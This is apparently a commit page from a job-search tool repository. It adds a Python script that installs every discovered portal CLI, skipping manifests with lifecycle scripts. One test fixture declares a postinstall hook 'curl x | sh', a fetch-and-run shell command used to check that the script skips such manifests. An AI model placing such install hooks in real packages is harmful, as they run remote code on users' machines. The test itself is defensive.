mirror of
https://github.com/MadsLorentzen/ai-job-search.git
synced 2026-11-03 13:37:44 +00:00
README and SETUP.md hardcoded the six shipped portals in four PowerShell/Bash loops, so a portal added by /add-portal or borrowed from another fork was skipped on a fresh clone. tools/install_portal_clis.py uses CI's discover-clis glob, isolates per-CLI failures, and skips manifests with lifecycle scripts or trustedDependencies.
This commit is contained in:
5 files changed
+230
-31
No files matched your search
@@ -13,6 +13,20 @@ per-file diff commands.
|
||||
|
||||
## [Unreleased]
|
||||
|
||||
### Added
|
||||
|
||||
- **One cross-platform command installs every portal CLI: `python3 tools/install_portal_clis.py`**
|
||||
(#540, `README.md` quick start step 2, `SETUP.md` section 3,
|
||||
`tests/test_install_portal_clis.py`) - the README and SETUP.md each carried a PowerShell and a
|
||||
Bash loop over a hand-copied list of the six shipped portals, four copies in all, while CI's
|
||||
`discover-clis` job globs `.agents/skills/*/cli/package.json` precisely so a portal added in a
|
||||
fork needs no list edit. A portal generated by `/add-portal` or borrowed from another fork was
|
||||
therefore skipped by the documented install on every fresh clone of that fork. The script uses
|
||||
CI's glob, installs each CLI independently so one failure does not stop the rest, and skips -
|
||||
with a message naming the reason - any manifest that declares a lifecycle script or
|
||||
`trustedDependencies`, the same set `security_guards.py` forbids in-tree, so a borrowed portal
|
||||
carrying one is read before it runs. `--dry-run` lists what it would install.
|
||||
|
||||
### Fixed
|
||||
|
||||
- **`/reset profile` keeps the `framework_version` frontmatter on the two files it rewrites**
|
||||
|
||||
@@ -89,25 +89,12 @@ cd ai-job-search
|
||||
|
||||
### 2. Install job search tools
|
||||
|
||||
PowerShell:
|
||||
|
||||
```powershell
|
||||
$tools = @("jobbank-search", "jobdanmark-search", "jobindex-search", "jobnet-search", "linkedin-search", "freehire-search")
|
||||
foreach ($tool in $tools) {
|
||||
Push-Location ".agents/skills/$tool/cli"
|
||||
bun install
|
||||
Pop-Location
|
||||
}
|
||||
```
|
||||
|
||||
Bash / zsh / Git Bash:
|
||||
|
||||
```bash
|
||||
for tool in jobbank-search jobdanmark-search jobindex-search jobnet-search linkedin-search freehire-search; do
|
||||
(cd .agents/skills/$tool/cli && bun install)
|
||||
done
|
||||
python3 tools/install_portal_clis.py # Windows: python tools\install_portal_clis.py
|
||||
```
|
||||
|
||||
It runs `bun install` in every portal CLI under `.agents/skills/*/cli/` - discovered, not listed, so a portal you add with `/add-portal` or copy from another fork is included on a fresh clone. A CLI whose `package.json` declares an install-time lifecycle script is skipped and reported rather than run. `--dry-run` shows what it would install.
|
||||
|
||||
For `linkedin-search` and `freehire-search` the install is optional: both have zero runtime dependencies and run with plain `bun`; `bun install` only pulls TypeScript dev types.
|
||||
|
||||
### 3. Set up your profile
|
||||
@@ -221,6 +208,7 @@ ai-job-search/
|
||||
│ ├── check_framework_version.py # CI check: framework_version bumped when skill files change
|
||||
│ ├── check_upstream_updates.py # Preview which personalized files an upstream update touches
|
||||
│ ├── convert_salary_excel.py # Convert salary Excel to JSON
|
||||
│ ├── install_portal_clis.py # Install every discovered portal CLI (bun install)
|
||||
│ ├── lint_skills.py # CI lint for skills, commands, settings.json
|
||||
│ ├── robots_check.py # Gate the browser-header retry against robots.txt
|
||||
│ ├── security_guards.py # CI guards: permission allowlist, gitignore rules, manifests
|
||||
|
||||
@@ -182,24 +182,12 @@ Or manually: fork on GitHub, then clone your fork.
|
||||
## 3. Install job search CLI dependencies
|
||||
Run these from the repository root.
|
||||
|
||||
- PowerShell:
|
||||
|
||||
```powershell
|
||||
$tools = @("jobbank-search", "jobdanmark-search", "jobindex-search", "jobnet-search", "linkedin-search", "freehire-search")
|
||||
foreach ($tool in $tools) {
|
||||
Push-Location ".agents/skills/$tool/cli"
|
||||
bun install
|
||||
Pop-Location
|
||||
}
|
||||
```
|
||||
|
||||
- Bash / zsh / Git Bash:
|
||||
```bash
|
||||
for tool in jobbank-search jobdanmark-search jobindex-search jobnet-search linkedin-search freehire-search; do
|
||||
(cd .agents/skills/$tool/cli && bun install)
|
||||
done
|
||||
python3 tools/install_portal_clis.py # Windows: python tools\install_portal_clis.py
|
||||
```
|
||||
|
||||
It runs `bun install` in every portal CLI under `.agents/skills/*/cli/` - discovered, not listed, so a portal you add with `/add-portal` or copy from another fork is included on a fresh clone. A CLI whose `package.json` declares an install-time lifecycle script is skipped and reported rather than run. `--dry-run` shows what it would install.
|
||||
|
||||
For `linkedin-search` and `freehire-search` the install is optional: both have zero runtime dependencies and run with plain `bun`; `bun install` only pulls TypeScript dev types.
|
||||
|
||||
If you're outside Denmark, you can generate an equivalent search skill for your local job board with `/add-portal` — it scaffolds the same CLI structure for any public portal and test-runs a live query before registering. See the "Job search tools" section in the README.
|
||||
|
||||
@@ -0,0 +1,97 @@
|
||||
"""Tests for tools/install_portal_clis.py - the one-command portal CLI install.
|
||||
|
||||
No network and no real `bun install`: discovery and the safety gate run against
|
||||
a temporary skills tree, the runner is injected, and the end-to-end case uses
|
||||
--dry-run on the real repo.
|
||||
"""
|
||||
|
||||
import io
|
||||
import json
|
||||
import subprocess
|
||||
import sys
|
||||
import unittest
|
||||
from contextlib import redirect_stdout
|
||||
from pathlib import Path
|
||||
from tempfile import TemporaryDirectory
|
||||
|
||||
REPO_ROOT = Path(__file__).resolve().parents[1]
|
||||
sys.path.insert(0, str(REPO_ROOT / "tools"))
|
||||
|
||||
from install_portal_clis import discover, unsafe_reason # noqa: E402
|
||||
import install_portal_clis # noqa: E402
|
||||
|
||||
|
||||
def install(*args):
|
||||
with redirect_stdout(io.StringIO()):
|
||||
return install_portal_clis.install(*args)
|
||||
|
||||
|
||||
class FakeRun:
|
||||
def __init__(self, fail=()):
|
||||
self.calls = []
|
||||
self.fail = set(fail)
|
||||
|
||||
def __call__(self, argv, cwd):
|
||||
self.calls.append(Path(cwd).parent.name)
|
||||
return subprocess.CompletedProcess(argv, 1 if Path(cwd).parent.name in self.fail else 0)
|
||||
|
||||
|
||||
class InstallPortalClis(unittest.TestCase):
|
||||
def setUp(self):
|
||||
directory = TemporaryDirectory()
|
||||
self.addCleanup(directory.cleanup)
|
||||
self.root = Path(directory.name)
|
||||
|
||||
def add_cli(self, name, manifest=None):
|
||||
cli = self.root / ".agents" / "skills" / name / "cli"
|
||||
cli.mkdir(parents=True)
|
||||
(cli / "package.json").write_text(json.dumps(manifest or {"name": name}), encoding="utf-8")
|
||||
return cli
|
||||
|
||||
def test_discovers_every_cli_on_the_ci_glob(self):
|
||||
"""A fork-added portal is found without editing any list."""
|
||||
self.add_cli("linkedin-search")
|
||||
self.add_cli("my-market-search")
|
||||
(self.root / ".agents" / "skills" / "no-cli-skill").mkdir(parents=True)
|
||||
self.assertEqual([p.parent.name for p in discover(self.root)], ["linkedin-search", "my-market-search"])
|
||||
|
||||
def test_discovery_matches_the_shipped_tree(self):
|
||||
shipped = sorted(p.parent.parent.name for p in REPO_ROOT.glob(".agents/skills/*/cli/package.json"))
|
||||
self.assertTrue(shipped)
|
||||
self.assertEqual([p.parent.name for p in discover()], shipped)
|
||||
|
||||
def test_lifecycle_script_is_skipped_not_run(self):
|
||||
self.add_cli("safe-search")
|
||||
self.add_cli("borrowed-search", {"scripts": {"postinstall": "curl x | sh"}})
|
||||
run = FakeRun()
|
||||
self.assertEqual(install(discover(self.root), "bun", False, self.root, run), 1)
|
||||
self.assertEqual(run.calls, ["safe-search"])
|
||||
|
||||
def test_trusted_dependencies_is_unsafe(self):
|
||||
self.assertIn("trustedDependencies", unsafe_reason(self.add_cli("x", {"trustedDependencies": ["y"]})))
|
||||
|
||||
def test_one_failure_does_not_stop_the_rest(self):
|
||||
for name in ("a-search", "b-search", "c-search"):
|
||||
self.add_cli(name)
|
||||
run = FakeRun(fail={"b-search"})
|
||||
self.assertEqual(install(discover(self.root), "bun", False, self.root, run), 1)
|
||||
self.assertEqual(run.calls, ["a-search", "b-search", "c-search"])
|
||||
|
||||
def test_dry_run_runs_nothing(self):
|
||||
self.add_cli("a-search")
|
||||
run = FakeRun()
|
||||
self.assertEqual(install(discover(self.root), "bun", True, self.root, run), 0)
|
||||
self.assertEqual(run.calls, [])
|
||||
|
||||
def test_cli_dry_run_lists_every_shipped_portal(self):
|
||||
proc = subprocess.run(
|
||||
[sys.executable, str(REPO_ROOT / "tools" / "install_portal_clis.py"), "--dry-run"],
|
||||
capture_output=True, text=True, encoding="utf-8",
|
||||
)
|
||||
self.assertEqual(proc.returncode, 0, proc.stdout + proc.stderr)
|
||||
for cli in discover():
|
||||
self.assertIn(f"would install {cli.parent.name}", proc.stdout)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,112 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Install the dependencies of every portal CLI under .agents/skills/.
|
||||
|
||||
Run from anywhere: python3 tools/install_portal_clis.py [--dry-run]
|
||||
|
||||
The CLIs are discovered, not listed: every `.agents/skills/*/cli/package.json`
|
||||
is installed, the same glob CI's discover-clis job uses. A portal generated by
|
||||
/add-portal or copied from another fork is therefore picked up on a fresh clone
|
||||
without anyone editing an install loop, and a portal removed from the tree
|
||||
stops being asked for.
|
||||
|
||||
One command for every shell, since Python is already a prerequisite - the
|
||||
README previously carried a PowerShell and a Bash loop, each with its own
|
||||
hand-copied list of portal names.
|
||||
|
||||
A manifest that declares an npm/bun lifecycle script or trustedDependencies is
|
||||
skipped and reported instead of installed: those are the hooks that run code
|
||||
during `bun install`, and tools/security_guards.py forbids them in-tree. A
|
||||
borrowed portal that carries one gets read by a human before it runs.
|
||||
|
||||
Each CLI installs independently; one failure does not stop the rest. Exit 0
|
||||
when every CLI installed, 1 when bun is missing, a manifest was skipped, or an
|
||||
install failed.
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
ROOT = Path(__file__).resolve().parent.parent
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent))
|
||||
|
||||
from security_guards import FORBIDDEN_SCRIPTS # noqa: E402
|
||||
|
||||
|
||||
def discover(root: Path = ROOT) -> list[Path]:
|
||||
"""Return each portal CLI directory, sorted by portal name."""
|
||||
return sorted(p.parent for p in (root / ".agents" / "skills").glob("*/cli/package.json"))
|
||||
|
||||
|
||||
def unsafe_reason(cli_dir: Path) -> str | None:
|
||||
"""Why this manifest must not be installed unattended, or None when it is safe."""
|
||||
try:
|
||||
data = json.loads((cli_dir / "package.json").read_text(encoding="utf-8"))
|
||||
except (OSError, json.JSONDecodeError) as exc:
|
||||
return f"unreadable package.json ({exc})"
|
||||
if not isinstance(data, dict):
|
||||
return "package.json is not a JSON object"
|
||||
scripts = data.get("scripts", {})
|
||||
bad = sorted(FORBIDDEN_SCRIPTS & set(scripts)) if isinstance(scripts, dict) else []
|
||||
if bad:
|
||||
return f"declares lifecycle script(s) {bad}"
|
||||
if "trustedDependencies" in data:
|
||||
return "declares trustedDependencies"
|
||||
return None
|
||||
|
||||
|
||||
def install(cli_dirs: list[Path], bun: str, dry_run: bool, root: Path = ROOT, run=subprocess.run) -> int:
|
||||
failures = []
|
||||
for cli_dir in cli_dirs:
|
||||
name = cli_dir.parent.name
|
||||
reason = unsafe_reason(cli_dir)
|
||||
if reason:
|
||||
print(f"SKIP {name}: {reason} - read its code, then run `bun install` in "
|
||||
f"{cli_dir.relative_to(root).as_posix()} yourself if you trust it")
|
||||
failures.append(name)
|
||||
continue
|
||||
if dry_run:
|
||||
print(f"would install {name}")
|
||||
continue
|
||||
print(f"installing {name}", flush=True)
|
||||
if run([bun, "install"], cwd=cli_dir).returncode != 0:
|
||||
print(f"FAIL {name}: bun install exited non-zero")
|
||||
failures.append(name)
|
||||
if failures:
|
||||
print(f"\n{len(failures)} of {len(cli_dirs)} portal CLI(s) not installed: {', '.join(failures)}")
|
||||
return 1
|
||||
verb = "would be installed" if dry_run else "installed"
|
||||
print(f"\nAll {len(cli_dirs)} portal CLI(s) {verb}.")
|
||||
return 0
|
||||
|
||||
|
||||
def _force_utf8_output() -> None:
|
||||
"""Write UTF-8 whatever the host's default encoding is (a fork's portal name may not be ASCII)."""
|
||||
for stream in (sys.stdout, sys.stderr):
|
||||
reconfigure = getattr(stream, "reconfigure", None) # absent on a StringIO under test
|
||||
if reconfigure:
|
||||
reconfigure(encoding="utf-8")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
_force_utf8_output()
|
||||
ap = argparse.ArgumentParser(description=__doc__.splitlines()[0])
|
||||
ap.add_argument("--dry-run", action="store_true", help="list what would be installed, run nothing")
|
||||
args = ap.parse_args()
|
||||
|
||||
cli_dirs = discover()
|
||||
if not cli_dirs:
|
||||
print("No portal CLIs found under .agents/skills/*/cli/ - nothing to install.")
|
||||
return 0
|
||||
bun = shutil.which("bun")
|
||||
if not bun and not args.dry_run:
|
||||
print("bun is not on PATH. Install it from https://bun.sh, open a new shell, and re-run.")
|
||||
return 1
|
||||
return install(cli_dirs, bun or "bun", args.dry_run)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
Reference in new issue
Block a user